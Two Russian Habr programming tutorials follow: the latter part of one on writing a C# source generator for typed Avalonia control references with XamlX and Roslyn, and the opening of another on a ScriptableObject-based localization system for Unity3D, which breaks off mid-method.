```
Префиксы `global::` здесь нужны для избежания коллизий пространств имён. Дополнительно, необходимо полностью указывать имена типов также для избежания коллизий. По аналогии с WPF, мы маркируем генерируемые свойства как `internal`. В случае использования `partial`-классов базовый класс можно указывать только в одной из частей `partial`-класса, поэтому в сгенерированном коде мы опускаем указание базового класса — таким образом пользователи нашего генератора смогут наследоваться от какого угодно наследника `Window`, будь то `ReactiveWindow`, или другой тип окна.
Следует заметить, что при вызове метода `FindControl` обход дерева элементов производиться не будет — Avalonia хранит именованные ссылки на элементы управления в словарях, называемых `INameScope` в терминологии Avalonia. При желании, Вы можете изучить исходный код методов [FindControl](https://github.com/AvaloniaUI/Avalonia/blob/15968cb2c0aa115545e6766ee321ffd9eaa6d8d0/src/Avalonia.Controls/ControlExtensions.cs#L54) и [FindNameScope](https://github.com/AvaloniaUI/Avalonia/blob/15968cb2c0aa115545e6766ee321ffd9eaa6d8d0/src/Avalonia.Styling/Controls/NameScopeExtensions.cs#L108) на GitHub.
### Реализуем интерфейс `ISourceGenerator`
Простейший генератор исходного кода, который ничего не делает, выглядит [следующим образом](https://blog.jetbrains.com/dotnet/2020/11/12/source-generators-in-net-5-with-resharper/):
```
[Generator]
public class EmptyGenerator : ISourceGenerator
{
public void Initialize(GeneratorInitializationContext context) { }
public void Execute(GeneratorExecutionContext context) { }
}
```
В методе `Initialize` предлагается проинициализировать новый генератор исходного кода, а в методе `Execute` — выполнить все важные вычисления, и при необходимости добавить сгенерированные файлы исходного кода в контекст выполнения с помощью вызова метода `context.AddSource(fileName, sourceText)`. При этом, файл проекта генератора исходного кода выглядит следующим образом:
```
netstandard2.0
preview
true
false
```
Давайте, для начала, добавим в сборку проекта, ссылающегося на генератор, некоторый атрибут, с помощью которого пользователи нашего генератора будут помечать классы, для которых необходимо генерировать типизированные ссылки на элементы управления Avalonia, объявленные в XAML. Изменим код нашего генератора следующим образом:
```
[Generator]
public class NameReferenceGenerator : ISourceGenerator
{
private const string AttributeName = "GenerateTypedNameReferencesAttribute";
private const string AttributeFile = "GenerateTypedNameReferencesAttribute.g.cs";
private const string AttributeCode = @"//
using System;
[AttributeUsage(AttributeTargets.Class, Inherited=false, AllowMultiple=false)]
internal sealed class GenerateTypedNameReferencesAttribute : Attribute { }
";
public void Initialize(GeneratorInitializationContext context) { }
public void Execute(GeneratorExecutionContext context)
{
// Добавим код атрибута в файл 'GenerateTypedNameReferencesAttribute.cs'
// проекта разработчика, который решит воспользоваться нашим генератором.
context.AddSource(AttributeFile,
SourceText.From(
AttributeCode, Encoding.UTF8));
}
}
```
Пока ничего сложного — мы объявили исходный код атрибута, имя файла, и имя атрибута как константы, с помощью вызова `SourceText.From(code)` обернули строку в исходный текст, и затем добавили новый исходный файл в проект с помощью вызова `context.AddSource(fileName, sourceText)`. Теперь в проекте, который ссылается на наш генератор, мы можем помечать интересующие нас классы с помощью атрибута `[GenerateTypedNameReferences]`. Для классов, помеченных данным атрибутом, мы будем генерировать типизированные ссылки на именованные элементы управления, объявленные в XAML. В случае рассматриваемого примера с `SignUpView.xaml`, code-behind данного файла разметки должен будет выглядеть вот так:
```
[GenerateTypedNameReferences]
public partial class SignUpView : Window
{
public SignUpView()
{
AvaloniaXamlLoader.Load(this);
// Мы пока только собираемся генерировать именованные ссылки.
// Если раскомментировать код ниже, проект не скомпилируется (пока).
// UserNameTextBox.Text = "Violet Evergarden";
// UserNameValidation.Text = "An optional validation error message";
}
}
```
Нам необходимо научить наш `ISourceGenerator` следующим вещам:
1. Находить все классы, помеченные атрибутом `[GenerateTypedNameReferences]`;
2. Находить соответствующие классам XAML-файлы;
3. Извлекать полные имена типов элементов интерфейса, объявленных в XAML-файлах;
4. Вытаскивать из XAML-файлов имена (значения `Name` или `x:Name`) элементов управления;
5. Генерировать `partial`-класс и заполнять его типизированными ссылками.
### Находим классы, маркированные атрибутом
Для реализации такой функциональности API генераторов исходного кода предлагает реализовать и зарегистрировать интерфейс `ISyntaxReceiver`, который позволит собрать все ссылки на интересующий синтаксис в одном месте. Реализуем `ISyntaxReceiver`, который будет собирать все ссылки на объявления классов сборки пользователя нашего генератора:
```
internal class NameReferenceSyntaxReceiver : ISyntaxReceiver
{
public List CandidateClasses { get; } =
new List();
public void OnVisitSyntaxNode(SyntaxNode syntaxNode)
{
if (syntaxNode is ClassDeclarationSyntax classDeclarationSyntax &&
classDeclarationSyntax.AttributeLists.Count > 0)
CandidateClasses.Add(classDeclarationSyntax);
}
}
```
Зарегистрируем данный класс в методе `ISourceGenerator.Initialize(GeneratorInitializationContext context)`:
```
context.RegisterForSyntaxNotifications(() => new NameReferenceSyntaxReceiver());
```
Теперь, во время выполнения нашего генератора, мы можем получить доступ ко всем `ClassDeclarationSyntax` в сборке, и в цикле найти все классы, маркированные необходимым образом:
```
// Добавим в CSharpCompilation исходник нашего атрибута.
var options = (CSharpParseOptions)existingCompilation.SyntaxTrees[0].Options;
var compilation = existingCompilation.AddSyntaxTrees(CSharpSyntaxTree
.ParseText(SourceText.From(AttributeCode, Encoding.UTF8), options));
var attributeSymbol = compilation.GetTypeByMetadataName(AttributeName);
var symbols = new List();
foreach (var candidateClass in nameReferenceSyntaxReceiver.CandidateClasses)
{
// Извлечём INamedTypeSymbol из нашего класса-кандидата.
var model = compilation.GetSemanticModel(candidateClass.SyntaxTree);
var typeSymbol = (INamedTypeSymbol) model.GetDeclaredSymbol(candidateClass);
// Проверим, маркирован ли класс с помощью нашего атрибута.
var relevantAttribute = typeSymbol!
.GetAttributes()
.FirstOrDefault(attr => attr.AttributeClass!.Equals(
attributeSymbol, SymbolEqualityComparer.Default));
if (relevantAttribute == null) {
continue;
}
// Проверим, маркирован ли класс как 'partial'.
var isPartial = candidateClass
.Modifiers
.Any(modifier => modifier.IsKind(SyntaxKind.PartialKeyword));
// Таким образом, список 'symbols' будет содержать только те
// классы, которые маркированы с помощью ключевого слова 'partial'
// и атрибута 'GenerateTypedNameReferences'.
if (isPartial) {
symbols.Add(typeSymbol);
}
}
```
### Находим подходящие XAML-файлы
В Avalonia действуют соглашения именования XAML-файлов и code-behind файлов для них. Для файла с разметкой с именем `SignUpView.xaml` файл code-behind будет называться `SignUpView.xaml.cs`, а класс внутри него, как правило, называется `SignUpView`. В нашей реализации генератора типизированных ссылок будем полагаться на данную схему именования. Файлы разметки Avalonia на момент реализации генератора и написания данного материала могли иметь расширения `.xaml` или `.axaml`, поэтому код, определяющий имя XAML-файла на основании имени типа будет иметь следующий вид:
```
var xamlFileName = $"{typeSymbol.Name}.xaml";
var aXamlFileName = $"{typeSymbol.Name}.axaml";
var relevantXamlFile = context
.AdditionalFiles
.FirstOrDefault(text =>
text.Path.EndsWith(xamlFileName) ||
text.Path.EndsWith(aXamlFileName));
```
Здесь, `typeSymbol` имеет тип `INamedTypeSymbol` и может быть получен в результате обхода списка `symbols`, который мы сформировали на предыдущем этапе. А ещё здесь есть один **нюанс**. Чтобы файлы разметки были доступны как `AdditionalFiles`, пользователю генератора необходимо их дополнительно включить в проект с использованием директивы MSBuild . Таким образом, пользователь генератора должен отредактировать файл проекта `.csproj`, и добавить туда вот такой :
```
```
Подробное описание можно найти в материале [New C# Source Generator Samples](https://devblogs.microsoft.com/dotnet/new-c-source-generator-samples/).
### Извлекаем полные имена типов из XAML
Этот этап является самым сложным, но в то же время наиболее интересным. Дело в том, что нельзя просто взять и получить информацию о пространстве имён, в котором находится элемент управления, объявленный в XAML-разметке. А нам, из-за нашего желания избежать коллизий и генерировать вменяемый код, который всегда будет компилироваться и работать, позарез нужно уметь получать полную квалификацию пространства имён, в котором находится тип.
Хорошая новость заключается в том, что фреймворк [AvaloniaUI](http://avaloniaui.net/) использует новый компилятор [XamlX](https://github.com/kekekeks/XamlX), целиком написанный [@kekekeks](https://habr.com/ru/users/kekekeks/). Этот компилятор мало того, что *не имеет* рантайм-зависимостей, умеет находить ошибки в XAML на *этапе компиляции*, работает *намного быстрее* загрузчиков XAML из WPF, UWP, XF и других технологий, так ещё и предоставляет нам удобный API для *парсинга XAML* и *разрешения типов*. Таким образом, мы можем позволить себе подключить [XamlX](https://github.com/kekekeks/XamlX) в проект исходниками (`git submodule add ://repo ./path`), и написать свой собственный `MiniCompiler`, который наш генератор исходного кода будет вызывать для компиляции XAML и получения полной информации о типах, даже если они лежат в каких-нибудь сторонних сборках. Реализация [XamlX.XamlCompiler](https://github.com/kekekeks/XamlX) в виде нашего маленького `MiniCompiler`, который мы собираемся натравливать на XAML-файлы, имеет вид:
```
internal sealed class MiniCompiler : XamlCompiler
{
public static MiniCompiler CreateDefault(
RoslynTypeSystem typeSystem,
params string[] additionalTypes)
{
var mappings = new XamlLanguageTypeMappings(typeSystem);
foreach (var additionalType in additionalTypes)
mappings.XmlnsAttributes.Add(typeSystem.GetType(additionalType));
var configuration = new TransformerConfiguration(
typeSystem,
typeSystem.Assemblies[0],
mappings);
return new MiniCompiler(configuration);
}
private MiniCompiler(TransformerConfiguration configuration)
: base(configuration,
new XamlLanguageEmitMappings(),
false)
{
// Данные трансформеры будут преобразовывать AST XamlX
// по очереди, делая его с каждым шагом более информативным.
Transformers.Add(new NameDirectiveTransformer());
Transformers.Add(new DataTemplateTransformer());
Transformers.Add(new KnownDirectivesTransformer());
Transformers.Add(new XamlIntrinsicsTransformer());
Transformers.Add(new XArgumentsTransformer());
Transformers.Add(new TypeReferenceResolver());
}
protected override XamlEmitContext InitCodeGen(
IFileSource file,
Func> createSubType,
object codeGen, XamlRuntimeContext context,
bool needContextLocal) =>
throw new NotSupportedException();
}
```
В нашем `MiniCompiler` мы используем дефолтные трансформеры [XamlX](https://github.com/kekekeks/XamlX), `DataTemplateTransformer`, и [`NameDirectiveTransformer`](https://github.com/AvaloniaUI/Avalonia/blob/master/src/Markup/Avalonia.Markup.Xaml.Loader/CompilerExtensions/Transformers/XNameTransformer.cs), позаимствованный из репозитория [Avalonia](https://github.com/avaloniaui/avalonia), который умеет преобразовывать XAML-атрибут `x:Name` в XAML-атрибут `Name` для того, чтобы впоследствии обходить полученное AST и вытаскивать имена элементов управления было проще. Такой [`NameDirectiveTransformer`](https://github.com/AvaloniaUI/Avalonia/blob/master/src/Markup/Avalonia.Markup.Xaml.Loader/CompilerExtensions/Transformers/XNameTransformer.cs) выглядит следующим образом:
```
internal class NameDirectiveTransformer : IXamlAstTransformer
{
public IXamlAstNode Transform(AstTransformationContext context, IXamlAstNode node)
{
// Нас интересуют только объекты.
if (node is XamlAstObjectNode objectNode)
{
for (var index = 0; index < objectNode.Children.Count; index++)
{
// Если мы встретили x:Name, заменяем его на Name и
// продолжаем обходить потомков XamlAstObjectNode дальше.
var child = objectNode.Children[index];
if (child is XamlAstXmlDirective directive &&
directive.Namespace == XamlNamespaces.Xaml2006 &&
directive.Name == "Name")
objectNode.Children[index] =
new XamlAstXamlPropertyValueNode(
directive,
new XamlAstNamePropertyReference(
directive, objectNode.Type, "Name", objectNode.Type),
directive.Values);
}
}
return node;
}
}
```
`DataTemplateTransformer`, в свою очередь, будет избавляться от элементов XAML, объявленных внутри шаблонов . Данные шаблоны используются в AvaloniaUI для настройки, например, внешнего вида [элементов списков](https://avaloniaui.net/docs/templates/datatemplate) — и поэтому попытка достать элемент с атрибутом `x:Name` извне такого шаблона ни к чему не приведёт. `DataTemplateTransformer` будет иметь вид:
```
internal class DataTemplateTransformer : IXamlAstTransformer
{
public IXamlAstNode Transform(AstTransformationContext context, IXamlAstNode node)
{
if (node is XamlAstObjectNode objectNode &&
objectNode.Type is XamlAstXmlTypeReference typeReference &&
(typeReference.Name == "DataTemplate" ||
typeReference.Name == "ControlTemplate"))
objectNode.Children.Clear(); // Очищаем содержимое шаблона.
return node;
}
}
```
Фабрика `MiniCompiler.CreateDefault` принимает первым аргументом любопытный тип `RoslynTypeSystem`, который вы не найдёте в [исходниках XamlX](https://github.com/kekekeks/XamlX). Данный тип реализует интерфейс `IXamlTypeSystem`, а это значит, что всё самое сложное только начинается. Чтобы наш маленький компилятор заработал внутри нашего генератора исходного кода, нам необходимо реализовать систему типов [XamlX](https://github.com/kekekeks/XamlX) поверх [API семантической модели компилятора Roslyn](https://docs.microsoft.com/en-us/dotnet/csharp/roslyn-sdk/get-started/semantic-analysis). Для реализации новой `IXamlTypeSystem` пришлось реализовывать много-много интерфейсов (`IXamlType` для классов, `IXamlAssembly` для сборок, `IXamlMethod` для методов, `IXamlProperty` для свойств и др). Реализация `IXamlAssembly`, например, выглядит вот так:
```
public class RoslynAssembly : IXamlAssembly
{
private readonly IAssemblySymbol _symbol;
public RoslynAssembly(IAssemblySymbol symbol) => _symbol = symbol;
public bool Equals(IXamlAssembly other) =>
other is RoslynAssembly roslynAssembly &&
SymbolEqualityComparer.Default.Equals(_symbol, roslynAssembly._symbol);
public string Name => _symbol.Name;
public IReadOnlyList CustomAttributes =>
\_symbol.GetAttributes()
.Select(data => new RoslynAttribute(data, this))
.ToList();
public IXamlType FindType(string fullName)
{
var type = \_symbol.GetTypeByMetadataName(fullName);
return type is null ? null : new RoslynType(type, this);
}
}
```
После реализации всех необходимых интерфейсов мы наконец сможем распарсить XAML инструментами XamlX, создать инстанс нашей реализации `RoslynTypeSystem`, передав ей в конструктор `CSharpCompilation`, которую мы уже извлекли из контекста генерации на предыдущем этапе, и трансформировать полученное в результате парсинга AST в AST с включённой информацией о пространствах имён и типах:
```
var parsed = XDocumentXamlParser.Parse(xaml, new Dictionary());
MiniCompiler.CreateDefault(
// 'compilation' имеет тип 'CSharpCompilation'
new RoslynTypeSystem(compilation),
"Avalonia.Metadata.XmlnsDefinitionAttribute")
.Transform(parsed);
```
Готово! Осталось извлечь все именованные объекты из дерева — и дело в шляпе.
### Находим именованные объекты XAML
На предыдущем этапе мы уже рассмотрели трансформер AST [XamlX](https://github.com/kekekeks/xamlx), реализующий `IXamlAstTransformer`, а теперь давайте рассмотрим и напишем посетителя узлов этого AST, реализующий интерфейс `IXamlAstVisitor`. Наш посетитель будет выглядеть следующим образом:
```
internal sealed class NameReceiver : IXamlAstVisitor
{
private readonly List<(string TypeName, string Name)> _items =
new List<(string TypeName, string Name)>();
public IReadOnlyList<(string TypeName, string Name)> Controls => _items;
public IXamlAstNode Visit(IXamlAstNode node)
{
if (node is XamlAstObjectNode objectNode)
{
// Извлекаем тип AST-узла. Данный тип нам вывел XamlX в
// процессе взаимодействия с нашей RoslynTypeSystem.
//
var clrType = objectNode.Type.GetClrType();
foreach (var child in objectNode.Children)
{
// Если мы в результате обхода потомков встретили свойство,
// которое называется 'Name', и при этом внутри 'Name' лежит строка,
// то добавляем в список элементов '_items' имя и CLR-тип элемента AST.
//
if (child is XamlAstXamlPropertyValueNode propertyValueNode &&
propertyValueNode.Property is XamlAstNamePropertyReference named &&
named.Name == "Name" &&
propertyValueNode.Values.Count > 0 &&
propertyValueNode.Values[0] is XamlAstTextNode text)
{
var nsType = $@"{clrType.Namespace}.{clrType.Name}";
var typeNamePair = (nsType, text.Text);
if (!_items.Contains(typeNamePair))
_items.Add(typeNamePair);
}
}
return node;
}
return node;
}
public void Push(IXamlAstNode node) { }
public void Pop() { }
}
```
Процесс парсинга XAML и извлечения типов и имён XAML-элементов теперь выглядит так:
```
var parsed = XDocumentXamlParser.Parse(xaml, new Dictionary());
MiniCompiler.CreateDefault(
// 'compilation' имеет тип 'CSharpCompilation'
new RoslynTypeSystem(compilation),
"Avalonia.Metadata.XmlnsDefinitionAttribute")
.Transform(parsed);
var visitor = new NameReceiver();
parsed.Root.Visit(visitor);
parsed.Root.VisitChildren(visitor);
// Теперь у нас есть и типы, и имена элементов.
var controls = visitor.Controls;
```
### Генерируем типизированные ссылки
Наконец, можно перейти к заключительному этапу разработки нашего генератора исходного кода. У нас есть всё, что было нужно для полного счастья — и типы, и пространства имён, и имена элементов. А это значит, что нам необходимо сгенерировать `partial`-класс, сложив туда ссылки на все найденные именованные элементы пользовательского интерфейса, объявленные в XAML. Метод, генерирующий такой `partial`-класс, будет иметь вид:
```
private static string GenerateSourceCode(
List<(string TypeName, string Name)> controls,
INamedTypeSymbol classSymbol,
AdditionalText xamlFile)
{
var className = classSymbol.Name;
var nameSpace = classSymbol.ContainingNamespace
.ToDisplayString(SymbolDisplayFormat);
var namedControls = controls
.Select(info => " " +
$"internal global::{info.TypeName} {info.Name} => " +
$"this.FindControl(\"{info.Name}\");");
return $@"//
using Avalonia.Controls;
namespace {nameSpace}
{{
partial class {className}
{{
{string.Join("\n", namedControls)}
}}
}}
";
}
```
Добавим полученный код в контекст выполнения `GeneratorExecutionContext`:
```
var sourceCode = GenerateSourceCode(controls, symbol, relevantXamlFile);
context.AddSource($"{symbol.Name}.g.cs", SourceText.From(sourceCode, Encoding.UTF8));
```
Готово!
### Результат
Инструментарий Visual Studio понимает, что при изменении XAML-файла, включённого в проект как , необходимо вызвать генератор исходного кода ещё раз, и обновить сгенерированные исходники. Таким образом, при редактировании XAML-файлов, ссылки на новые элементы управления, добавляемые в XAML в процессе разработки, будут автоматически становиться доступными из C#-файла с расширением `.xaml.cs`.
Интеграция генераторов исходного кода с [JetBrains Rider и ReSharper](https://blog.jetbrains.com/dotnet/2020/11/12/source-generators-in-net-5-with-resharper/) доступна в последних EAP, что позволяет утверждать, что реализованная технология является кроссплатформенной, и будет работать на Windows, Linux, и macOS. В дальнейшем мы собираемся заинтегрировать получившийся генератор в Avalonia, чтобы в новых версиях фреймворка генерация типизированных ссылок стала доступна из коробки. А вот так выглядит обновлённый пример кода из самого начала статьи, с биндингами и [ReactiveUI.Validation](https://github.com/reactiveui/reactiveui.validation):
**Исходный код и инструкции по установке генератора** доступны на [GitHub](https://github.com/AvaloniaUI/Avalonia.NameGenerator).
### Ссылки
* [XamlX](https://github.com/kekekeks/xamlx) — XAML-компилятор будущего;
* [Avalonia.NameGenerator](https://github.com/avaloniaui/avalonia.namegenerator) — получившийся генератор `x:Name`;
* [Avalonia](https://github.com/avaloniaui/avalonia) — кроссплатформенный UI-фреймворк;
* [ReactiveUI.Validation](https://github.com/reactiveui/reactiveui.validation) — реактивная валидация и биндинги;
* [Авалония для самых маленьких](https://habr.com/ru/company/skbkontur/blog/524518/) — [Larymar](https://habr.com/ru/company/skbkontur/blog/524518/) и [Контур](https://habr.com/ru/company/skbkontur/) рассказывают про фреймворк.
### Обновление от 16.02.2021
В новой версии генератор был существенно переработан — была добавлена возможность конфигурирования генератора через дополнительные свойства MsBuild в файле проекта, а базовые классы для XAML-файлов фреймворка AvaloniaUI генератор теперь получает из директивы `x:Class` корневого объекта XAML средствами компилятора XamlX. Также в генератор был добавлен опциональный режим работы, в котором будет сгенерирован метод `InitializeComponent`, как в WPF, UWP или Xamarin.Forms. С обновлённым кодом можно озакомиться в репозитории [Avalonia.NameGenerator](https://github.com/avaloniaui/avalonia.namegenerator).
 | https://habr.com/ru/post/530454/ | null | ru | null |
# Локализация на основе ScriptableObject для Unity3D
Введение
--------
Приветствую Вас, уважаемые читатели. В данной статье пойдет речь о создании системы локализации приложений, созданных в среде **Unity3D**, в основе которой лежит использование класса **ScriptableObject**, что позволяет локализовать не только текст, но и звуки и изображения, а также загружать такие данные извне.
По традиции, прежде чем приступить к описанию подробностей, остановимся на том, что такое локализация и зачем нам это нужно.
Очень часто, да и практически всегда, разработка игр (и любых других приложений) ориентируется не на один рынок. Поскольку каждый рынок характеризуется своей языковой группой, то разработчикам приходится это учитывать, ведь если вы сделаете игру только на русском, то англоязычные пользователи, просто на просто ничего не поймут. Что делать? Правильно, нужно обеспечить в игре поддержку нескольких языков. В большинстве случаев переводу подвергаются только текстовые данные и для этого часто используются **Google Sheets** или нечто подобное. Это достаточно просто и гибко, поскольку импорт из таблиц не представляет сложности. Однако не все так радужно, как может показаться на первый взгляд. Что если в игре много голосового сопровождения? Или текст должен иметь разный шрифт для разных языков? И напоследок еще и текст или что-то требует уникальности для языка в изображениях? В этих случаях таблиц уже недостаточно.
Так что же делать спросите вы (если, конечно, уже не знаете ответа)? Я пришел к варианту использования **ScriptableObject** и **AssetBundle**. Первое дает нам возможность хранить данные в виде **Asset**’a, а второе загружать и хранить эти данные извне.
Рассмотрим подробнее, что из себя представляет предлагаемый подход.
Как хранить данные
------------------
Для начала определим то, что нужно хранить и в каком виде, для этого будем двигаться от общего к частному. Базовыми данными, которые мы должны получить от любой системы локализации, является список поддерживаемых ей языков.
**Примечание**: по мере продвижения по статье я буду формировать нужные классы и описывать их. Итак, языки:
```
public class LocalizationData : ScriptableObject
{
public List Languages;
}
[Serializable]
public class LanguageData
{
public string Name
{
get
{
return \_name;
}
}
[SerializeField]
private string \_name;
}
```
Имя поддерживаемого языка можно использовать в локализованном виде и использовать для вывода в интерфейсе. Как видно **LocalizationData** является наследником **ScriptableObject**, собственно этот наш класс и является основным хранилищем данных, который и будет лежать в проекте в виде **Asset**’а.
Что дальше? А дальше нам надо для каждого языка хранить набор ресурсов, тех конечных данных, которые будут использоваться в приложении или игре. Для начала определим типы ресурсов, которые мы будем использовать и заведем для них перечисление (**enum**):
```
public enum LocalizationResourceType
{
Text,
Image,
Texture,
Audio
}
```
**Image** — это **Sprite** для использования в интерфейсе на основе Unity GUI или для 2D игр. Почему он отдельно от **Texture**? Просто ради удобства.
**Теперь определим место, где у нас буду храниться непосредственно ссылки на ресурсы.**
```
[Serializable]
public class LocalizationResource
{
public string Tag
{
get
{
return _tag;
}
}
public string StringData
{
get
{
return _stringData;
}
}
public Font FontData
{
get
{
return _fontData;
}
}
public Sprite SpriteData
{
get
{
return _spriteData;
}
}
public Texture TextureData
{
get
{
return _textureData;
}
}
public AudioClip AudioData
{
get
{
return _audioData;
}
}
[SerializeField]
private string _tag;
[SerializeField]
private string _stringData;
[SerializeField]
private Font _fontData;
[SerializeField]
private Sprite _spriteData;
[SerializeField]
private Texture _textureData;
[SerializeField]
private AudioClip _audioData;
}
```
Как видно, класс содержит ссылки на все возможные типы ресурсов, однако не пугайтесь, в реальности только одна из этих ссылок валидна (хотя, конечно, ничто не мешает написать код так, чтобы ресурс был сборным). Исключение составляют только текст и шрифт, они могут существовать вместе. Обеспечение такого поведения вынесено на уровень редактора данных (об этом будет сказано ниже). Помимо прочего, здесь же указывается тэг, к которому принадлежат ресурсы. Что такое тэг будет описано ниже. Изменим наш класс **LanguageData** с учетом вышеописанного.
```
[Serializable]
public class LanguageData
{
public string Name
{
get
{
return _name;
}
}
public List Resources;
[SerializeField]
private string \_name;
}
```
Последней проблемой для хранилища данных локализации является интерпретация ресурса и его идентификация в независимости от языка. Это решается введением в систему тэгов, которые будут хранится независимо и позволят решить возникшие проблемы. Опишем это в классе.
```
[Serializable]
public class LocalizationTag
{
public string Name
{
get
{
return _name;
}
}
public LocalizationResourceType ResourceType
{
get
{
return _resourceType;
}
}
[SerializeField]
private string _name;
[SerializeField]
private LocalizationResourceType _resourceType;
}
```
Как видно тэг — это имя, которая будет использовано для идентификации ресурса в системе и тип ресурса для его интерпретации в конечные данные. Таким образом хранилище данных примет следующий вид.
```
public class LocalizationData : ScriptableObject
{
public List Languages;
public List Tags;
}
```
**Примечание**: несмотря на тот факт, что **LocalizationData** хранит список языков, нет обязательства делать именно так. Каждый язык можно хранить в своем **Asset**'е. При таком подходе, языки можно загружать по требованию пользователя с сервера.
Редактор
--------
Мы сформировали представление для хранения данных локализации, теперь нам нужен инструмент, который позволит создавать эти данные. Я не буду приводить здесь полный код редактора, поскольку как его делать зависит от потребностей команды и критериев удобства, которые достаточно субъективны. В моем варианте все достаточно примитивно и отвечает текущим задачам в команде.
Для начала нам нужен создать **Asset** на основе описанного выше класса **LocalizationData**. Это можно сделать двумя способами:
1. Через использование статической функции и атрибута **MenuItem**
2. Через атрибут **CreateAssetMenu**, применяемый непосредственно к классу потомку **ScriptableObject**
Я использовал первый вариант, но на самом деле разницы нет.
**Функция создания Asset’a для данных локализации имеет следующий вид:**
```
[MenuItem("Assets/Create/Localization Data")]
public static void CreateLocalizationDataAsset()
{
var selectionPath = AssetDatabase.GetAssetPath(Selection.activeObject);
if (string.IsNullOrEmpty(selectionPath))
{
selectionPath = Application.dataPath;
}
var path = EditorUtility.SaveFilePanelInProject(
"Create Localization Data",
"NewLocalizationData",
"asset",
string.Empty,
selectionPath);
if (path.Length > 0)
{
var asset = ScriptableObject.CreateInstance();
AssetDatabase.CreateAsset(asset, path);
AssetDatabase.SaveAssets();
EditorUtility.FocusProjectWindow();
Selection.activeObject = asset;
}
}
```
После создания **Asset**’a он появится в проекте и теперь его можно редактировать. Для этого необходимо создать **CustomEditor** для нашего класса **LocalizationData**. Поскольку, локализация — это достаточно большой объем данных, то редактировать его напрямую в инспекторе нельзя, однако статистическую информацию можно вывести в следующем виде.
Здесь по кнопке **Open Editor Window** открывается окно редактора, где задаются языки, тэги и ресурсы. Сам редактор имеет следующий вид:
Как видно тут все достаточно просто, но при этом позволяет быстро редактировать необходимые данные. Тэги и языки редактируются отдельно друг от друга, однако если языки уже присутствуют, то при добавлении нового тэга каждому добавляется соответствующий ресурс.
Остановлюсь на нескольких важных моментах в редакторе:
1. При изменении типа ресурса необходимо не забывать очищать ссылки, если они были, иначе может получиться, что ресурс будет содержать то, что не должен, а это в свою очередь приведет к росту размера **AssetBundle**’а.
2. Текст представлен в очень маленьком окошке, в котором его не то, чтобы неудобно, а практически невозможно редактировать, поэтому для него необходимо написать отдельный редактор.
Окно редактора текста выглядит следующим образом:
Редактор можно не делать поддерживающим html-разметку (**RichText** в рамках **Unity3d**), это все по желанию.
**Код для данного редактора имеет следующий вид:**
```
public class LocalizationTextEditorWindow : EditorWindow
{
public SerializedProperty CurrentTextProperty;
public Font TextFont;
private GenericMenu _copyPasteMenu;
private GUIStyle _textStyle;
public static void Show(string tag, string language, SerializedProperty textProperty, Font textFont)
{
var instance = (LocalizationTextEditorWindow)EditorWindow.GetWindow(typeof(LocalizationTextEditorWindow), true);
instance.titleContent = new GUIContent("[{0}: {1}]".Fmt(language, tag), string.Empty);
instance.CurrentTextProperty = textProperty;
instance.TextFont = textFont;
}
private void OnEnable()
{
_copyPasteMenu = new GenericMenu();
_copyPasteMenu.AddItem(new GUIContent("Copy"), false, () =>
{
EditorGUIUtility.systemCopyBuffer = CurrentTextProperty.stringValue;
});
_copyPasteMenu.AddItem(new GUIContent("Paste"), false, () =>
{
CurrentTextProperty.stringValue = EditorGUIUtility.systemCopyBuffer;
CurrentTextProperty.serializedObject.ApplyModifiedProperties();
});
}
private void OnGUI()
{
if (CurrentTextProperty == null) return;
if (_textStyle == null)
{
_textStyle = new GUIStyle(EditorStyles.textArea);
_textStyle.font = TextFont;
}
if (Event.current.type == EventType.MouseDown && Event.current.button == 1)
{
_copyPasteMenu.ShowAsContext();
}
CurrentTextProperty.stringValue = GUI.TextArea(new Rect(0f, 0f, position.width, position.height), CurrentTextProperty.stringValue, _textStyle);
CurrentTextProperty.serializedObject.ApplyModifiedProperties();
}
}
```
Самым важным моментом в этом коде является возможность копировать и вставлять текст из буфера, в остальном все достаточно просто.
API
---
Прежде, чем описывать код системы локализации, который будет использоваться в приложении, определим основные требования, которые он должен выполнять. На самом деле вопрос достаточно субъективный, каждый разработчик предъявляет свой набор, в зависимости от возможностей и проекта. Я для себя и на основе своего опыта сформировал следующий список:
1. Языки должны меняться налету. Это означает, что как только пользователь захотел поменять язык, то изменения вступают в силу сразу же.
2. Данные локализации должны уметь формироваться из нескольких источников. Это означает, что их не обязательно хранить в одном **Asset**’е.
Исходя из этого начнем формировать код и для начала создадим базовый класс.
```
public class LocalizationController
{
public delegate void LanguageWasChanged();
public static event LanguageWasChanged OnLanguageWasChanged;
}
```
**LangaungeWasChanged** — это событие, на которое подписываются разные подсистемы. Событие нужно для тех мест, где обновление ресурсов при смене языка не требуется делать в автоматическом режиме. Экземпляр класса **LocalizationController** можно хранить где угодно и главное как угодно, включая вариант синглетона.
Теперь нам нужно завести внутренние хранилища данных, первое — это тэги и второе — это типы ресурсов им соответствующие:
```
private Dictionary \_resourceTypeByTag = new Dictionary();
```
И сами ресурсы:
```
private Dictionary \_currentResources = new Dictionary();
```
Теперь нам нужна функция, с помощью которой мы будем получать ресурс локализации по тэгу. Это нужно для получения данных в ручном режиме.
```
public object GetResourceByTag(string tag)
{
if (_resourceTypeByTag.ContainsKey(tag))
{
var resourceType = _resourceTypeByTag[tag];
var resource = _currentResources[tag];
switch (resourceType)
{
case LocalizationResourceType.Text:
return new KeyValuePair(resource.StringData, resource.FontData);
case LocalizationResourceType.Image:
return resource.SpriteData;
case LocalizationResourceType.Texture:
return resource.TextureData;
case LocalizationResourceType.Audio:
return resource.AudioData;
}
}
return null;
}
```
А что же с автоматическим вариантом и обновлением данных налету при смене языка?
**Для этих целей заведем хранилище подписчиков и два метода**
```
private Dictionary>> \_tagHandlers = new Dictionary>>();
public void SubscribeTag(string tag, Action handler)
{
if (!\_tagHandlers.ContainsKey(tag))
{
\_tagHandlers.Add(tag, new List>());
}
\_tagHandlers[tag].Add(handler);
}
public void UnsubscribeTag(string tag, Action handler)
{
if (\_tagHandlers.ContainsKey(tag))
{
var handlers = \_tagHandlers[tag];
if (handlers.Contains(handler))
{
handlers.Remove(handler);
}
}
}
```
**Теперь нам надо добавить методы для установки данных из Asset’а**
```
public void SetLanguage(LanguageData language)
{
ClearResources();
AddResources(language.Resources);
UpdateLocalizeResources();
OnLanguageWasChanged?.Invoke();
}
public void AddTags(IList tags)
{
for (var i = 0; i < tags.Count; i++)
{
var tag = tags[i];
\_resourceTypeByTag.Add(tag.Name, tag.ResourceType);
}
}
public void AddResources(IList resources)
{
foreach (var resource in resources)
{
\_currentResources.Add(resource.Tag, resource);
}
}
public void UpdateLocalizeResources()
{
foreach (var tag in \_tagHandlers.Keys)
{
var resource = GetResourceByTag(tag);
